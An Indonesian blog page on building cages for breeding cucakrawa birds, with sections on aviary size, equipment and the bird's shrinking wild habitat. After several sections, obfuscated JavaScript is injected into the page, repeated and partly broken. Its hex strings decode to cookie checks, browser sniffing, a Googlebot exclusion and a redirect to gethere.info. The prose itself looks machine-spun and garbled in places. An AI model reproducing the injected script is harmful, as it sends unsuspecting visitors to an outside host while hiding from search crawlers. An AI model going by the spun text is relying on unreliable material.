IBX5980432E7F390 Konstruksi Kandang Penangkaran Burung Cucakrawa Kupas Triknya - Kicauan Burung Lovebird Ngekek

Konstruksi Kandang Penangkaran Burung Cucakrawa Kupas Triknya

Konstruksi Kandang Penangkaran Burung Cucakrawa

Konstruksi sangkar penangkaran burung cucakrawa – Sebelum kandang penangkaran dibuat, kita harus menciptakan konstruksi sangkar terlebih dahulu. Desain kandang harus digambarkan dahulu sehabis itu barulah dibentuk kadang sesuai dengan desain yang telah kita gambarkan sebelumnya.

Model sangkar tidak menjadi patokan penting bagi pembuatan sangkar. Modal kandang sesuai dengan harapan kita saja.Konstruksi Kandang Penangkaran Burung Cucakrawa

kandang yang baik yaitu yang mempunyai ukuran yang luas. Jika sangkar luas maka burung akan leluasa terbang di dalam kandang tersebut.

Selain itu, sangkar yang berukuran luas juga akan bisa menampung seluruh perlengkapan yang dibutuhkan oleh cucakrawa.

Bahkan ada sebagian pecinta fanatik burung cucakrawa yang mempunyai usaha menangkarkan burung ini rela membuat kandang sebaik-baiknya walaupun harus merogoh dalam-dalam koceknya.

Lokasi kandang yang sebaiknya diletakkan di tempat yang bebas binatang pengganggu. Hal ini bertujuan supaya burung dapat nyaman tinggal di dalam kadanng tersebut tanpa harus diintai oleh binatang pengganggu.

Hewan penggangu yang dimaksud adalah kucing, ulat, dan anjing. Selain itu, perjuangankan kandang diletakkan di tempat yang jauh dari kawasan padat penduduk.

Hal ini bertujuan supaya cucakrawa tidak terganggu dengan aktifitas yang dilakukan oleh insan disekelilingnya.

Selain itu, peletakkan kandang di daerah padat penduduk akan menciptakan orang disekeliling kita menjadi murka jikalau busuk yang ditimbulkan dari kotoran burung sampai ke masyarakat sekitar.

Ukruan sangkar pada umumnya adalah 4 x 3 x 4 meter. Ukuran tersebut dapat membuat burung merasa nyaman tinggal di dalamnya. Usahakan sangkar dibentuk pada lahan yang tinggi.

Tujuannya ialah supaya ketika hujan tiba, kandang tidak kebanjiran. Selain itu, lantai tidak boleh hanya dibiarkan tanah saja. Dengan kata lain, lantai harus terbuat dari semen.

Setelah lantai di semen, dan sesudah kering barulah lantai mampu ditaburi dengan pasir atau bebatuan kecil.

Hal ini bertujuan supaya mudah dalam membersihkan kandang. Kandang yang ditaburi pasir atau bebatuan kecil bertujuan semoga suasana seakan-akan di hutan masih terjaga.

Bahan pembuatan sangkar mampu terbuat dari kayu ataupun alumunium. Akan tetapi, sangkar yang baik yaitu yang terbuat dari alumunium.

Mengapa begitu? Karena alumunium mampu bertahan lama. Sedangkan kayu tidak mampu bertahan lama lantaran mampu saja dapat dimakan oleh rayap (binatang pemakan kayu).var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)

Baca juga: Ciri Fisik dan bunyi murai watu medan gacor

Wajib Penting Di baca

  • Ukuran Kandang Penangkaran Cucakrawa
  • Cara Menjinakan Burung Cucakrawa liar
  • Cara Menjodohkan Cucakrawa Bagi Pemula
  • Mengenal Karakter Burung Cucak Rawa lokal
  • Habitat Penyebaran Burung Cucakrawa
  • Perawatan Cucak Jenggot Bakalan,Anakan dan Dewasa
  • Peralatan Kandang Burung Cucakrawa Dewasa
  • Tata Cara Penangkaran Cucakrawa
  • Perawatan Cucakrawa Ocehan Gacor Harian
  • Tingkatan dan Kualitas Suara Cucakrawa
  • Cara Memilih Calon Indukan Cucakrawa Bagus

Ukuran Kandang Penangkaran Cucakrawa

Ukuran sangkar penangkaran cucakrawa – Kandang merupakan tempat dimana burung cucakrawa akan tinggal. Karena setiap harinya burung cucakrawa tinggal di dalam kandang tersebut, jadi sangkar harus dibuat senyaman mungkin. Sebagai penangkar yang baik, kita harus tau cara membuat sangkar yang baik untuk burung cucakrawa.

Apalagi kita membuat usaha penangkaran cucakrawa. Pastilah sangkar yang diharapkan banyak, disesuaikan dengan banyak cucakrawa yang ada.

Kandang yang baik ialah yang menyerupai habitat orisinil cucakrawa yaitu di hutan dan di rawa-rawa. Hal ini dilakukan supaya cucakrawa seperti di alam bebas bila berada di kandangnya.Ukuran Kandang Penangkaran Cucakrawa

Perlengkapan sangkar pun harus mendukung. Seperti halnya ventilasi, kolam buatan, tenggeran, tempat sarang, pasir, dan rerumputan.

Semua peralaran pendukung tersebtu haruslah ada di dalam sangkar cucakrawa. Untuk mengetahuinya lebih terperinci mengenai perlengkapan kandang, mari kita simak klarifikasi di bawah ini.

  • Ventilasi Kandang

Di dalam tempat tinggal manusia maupun hewan harus didlengkapi dengan ventilasi. Jika tidak ada ventilasi, makhluk hidup yang ada di dalamnya pasti akan tidak mampu bernafas.

Begitu pula dengan kandang burung cucakrawa yang membutuhkan ventilasi. Fungsi ventilasi itu sendiri ialah semoga udara segar masuk ke dalam kandang.

  • Kolam Buatan Dalam Kandang

Kolam buatan juga perlu disediakan di dalam kandang. Mengingat sifat burung yang suka bermain air jika di habitat aslinya. Dengan begitu cucakrawa akan leluasa bermain air di dalam kandang walaupun tidak berada di habitat orisinilnya.

  • Tenggeran Cucakrawa

Tenggeran yang baik disediakan di dalam sangkar terbuat dari kayu yang sudah bau tanah. Sediakan tenggeran lebih dari satu. Hal ini bertujuan supaya burung dapat memilih dimana ia akan bertengger.

  • Tempat Sarang Bertelur

Tempat sarang disediakan bertujuan untuk apabila cucakrawa bertelur, maka ia akan mengeram telur-telurnya di dalam sarang ini. Sarang mampu dibentuk sendiri atau membelinya di toko peralatan burung. Sarang yang aik berbentuk layaknya seakan-akan mangkuk.

  • Pasir Buatan 

Manfaat menaruh pasit di dalam kandang adalah supaya cucakrawa mau mandi pasir dan ketika cucakrawa mandi pasir maka secara tikda eksklusif ia melemaskan otot-otot yang kaku.

  • Rerumputan Buatan dalam sangkar

Banyak orang yang tidak tahu bahwa rerumputan sangat diharapkan oleh tubuh cucakrawa. Jika di habitat orisinilnya, burung ini akan sering memakan rerumputan.

Tujuannya biar pencernaan burung ini tetap lancar. Untuk itulah di dalam kandang perlu disediakan rerumputan untuk memenuhi kebutuhan burung cucakrawa.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]

Baca juga: Ciri Fisik dan suara murai batu medan gacor

Wajib Penting Di baca

  • Konstruksi Kandang Penangkaran Burung Cucakrawa
  • Jenis Spesies Burung Cucakrawa Berkualitas
  • Pemilihan Bakalan Cucakrawa Berkualitas Unggul
  • Perawatan Cucakrawa Ocehan Gacor Harian
  • Habitat Penyebaran Burung Cucakrawa
  • Cara Memilih Calon Indukan Cucakrawa Bagus
  • Pembesaran Dan Perawatan Anakan Cucakrawa
  • Tata Cara Penangkaran Cucakrawa
  • Kehidupan Cucak Rawa di Hutan Liar
  • Tingkatan dan Kualitas Suara Cucakrawa
  • Perawatan Cucak Jenggot Bakalan,Anakan dan Dewasa

Habitat Penyebaran Burung Cucakrawa

Habitat penyebaran burung cucakrawa – Di habitat orisinilnya burung cucakrawa sudah termasuk kategori hewan yang tinggal sedikit eksistensinya. Banyaknya perburuan liar dan penangkapan secara massal menciptakan burung ini semakin sedikit jumlahnya di habitat aslinya.

Sampai saat ini, beberapa oknum masih mengambil cucakrawa di habitat aslinya, yaitu hutan. Tidak adanya pencagaan yang ketat, membuat oknum tertentu semakin leluasa mengambil cucakrawa dari habitat aslinya.

Setiap tahun saja, beberapa oknum mengambil sedikitnya setengah dari jumlah cucakrawa yang ada di dalam hutan di mana cucakrawa tinggal.Habitat Penyebaran Burung Cucakrawa

Lama-kelamaan burung cucakrawa terancam punah. Untuk itulah, kita sebagai pecinta cucakrawa di Indonesia, jagalah keberadaan cucakrawa di alam bebas.

Jangan sampai keberadaannya sudah tidak ada lagi di habitat orisinilnya. Karena di habitat orisinilnya keberadaan cucakrawa sudah tidak sebanyak dulu, sekarang orang mulai menangkarkan burung cucakrawa.

Menangkarkan cucakrawa gunanya ialah supaya burung ini tidak punah dan eksistensinya masih dilestarikan. Selain itu, peminat menangkarkan cucakrawa sangat banyak. Makara, ada sebagian orang yang menangkarkan burung cucakrawa tujuannya yaitu sebagai hobi saja.

Burung cucakrawa juga mampu dijadikan peluang perjuangan. Harga jualnya yang mahal membuat sebagian penghobi cucakrawa beralih menjadi pengusaha burung cucakrawa. Tidak main-main untung dari penjualan burung cucakrawa dua kali lipat dari modal utama.

Walaupun modal usaha menangkarkan burung cucakrawa tidak sedikit, tetapi kesudahannya juga tidak sedikit pula. Bahkan bisa melebihi pekerjaan tetap kita.

Kebanyakan orang menimbulkan perjuangan penangkaran cucakrawa sebagai pekerjaan sampingan. Kaprikornus, mereka mampu mengerjakan pekerjaan sampingannya tanpa harus meninggalkan pekerjaan utamanya.

Biasanya, burung cucakrawa yang lebih banyak dijadikan perjuangan yaitu cucakrawa bakalan. Mengapa begitu? Karena cucakrawa bakalan lebih mudah untuk ditangkarkan.

Selain itu, burung cucakrawa bakalan juga praktis dilatih suaranya. Suara apapun yang kita mau, pasti cucakrawa akan mengikutinya.

Cucakrawa yang pernah menjuarai lomba, biasanya harga jualnya akan lebih tinggi lagi. Apalagi ditambah dengan fisiknya yang tidak ada cacat dan sangat cantik, warna bulunya yang sangat indah, dan yang paling penting suaranya yang manis, akan menciptakan burung ini sangat digemari oleh orang.

Sangking digemarinya, cucakrawa yang pernah menjadi jawara harga jualnya yaitu 4,5 juta. Walaupun harganya mahal, tetapi yang paling penting adalah burung cucakrawa jawara itu mempunyai mutu yang tinggi.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)be(ck)(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]

Baca juga: Ciri Fisik dan suara murai watu medan gacor

Wajib Penting Di baca

  • Habitat Kehidupan Burung Cucakrawa Liar Hutan
  • Jenis Spesies Burung Cucakrawa Berkualitas
  • Merawat Harian Cucakrawa Anakan Dewasa
  • Kehidupan Cucak Rawa di Hutan Liar
  • Ukuran Kandang Penangkaran Cucakrawa
  • Ciri Fisik Burung Cucakrawa Liar
  • Cara Menjinakan Burung Cucakrawa liar
  • Tingkatan dan Kualitas Suara Cucakrawa
  • Ciri Fisik Burung Cucakrawa Berkualitas Bagus
  • Habitat Dan Gaya Hidup Anis kembang Liar
  • Habitat Kehidupan Cucak Ijo Hutan Liar

Berlangganan Untuk Mendapatkan Artikel Terbaru:

0 Komentar Untuk " Konstruksi Kandang Penangkaran Burung Cucakrawa Kupas Triknya"

Posting Komentar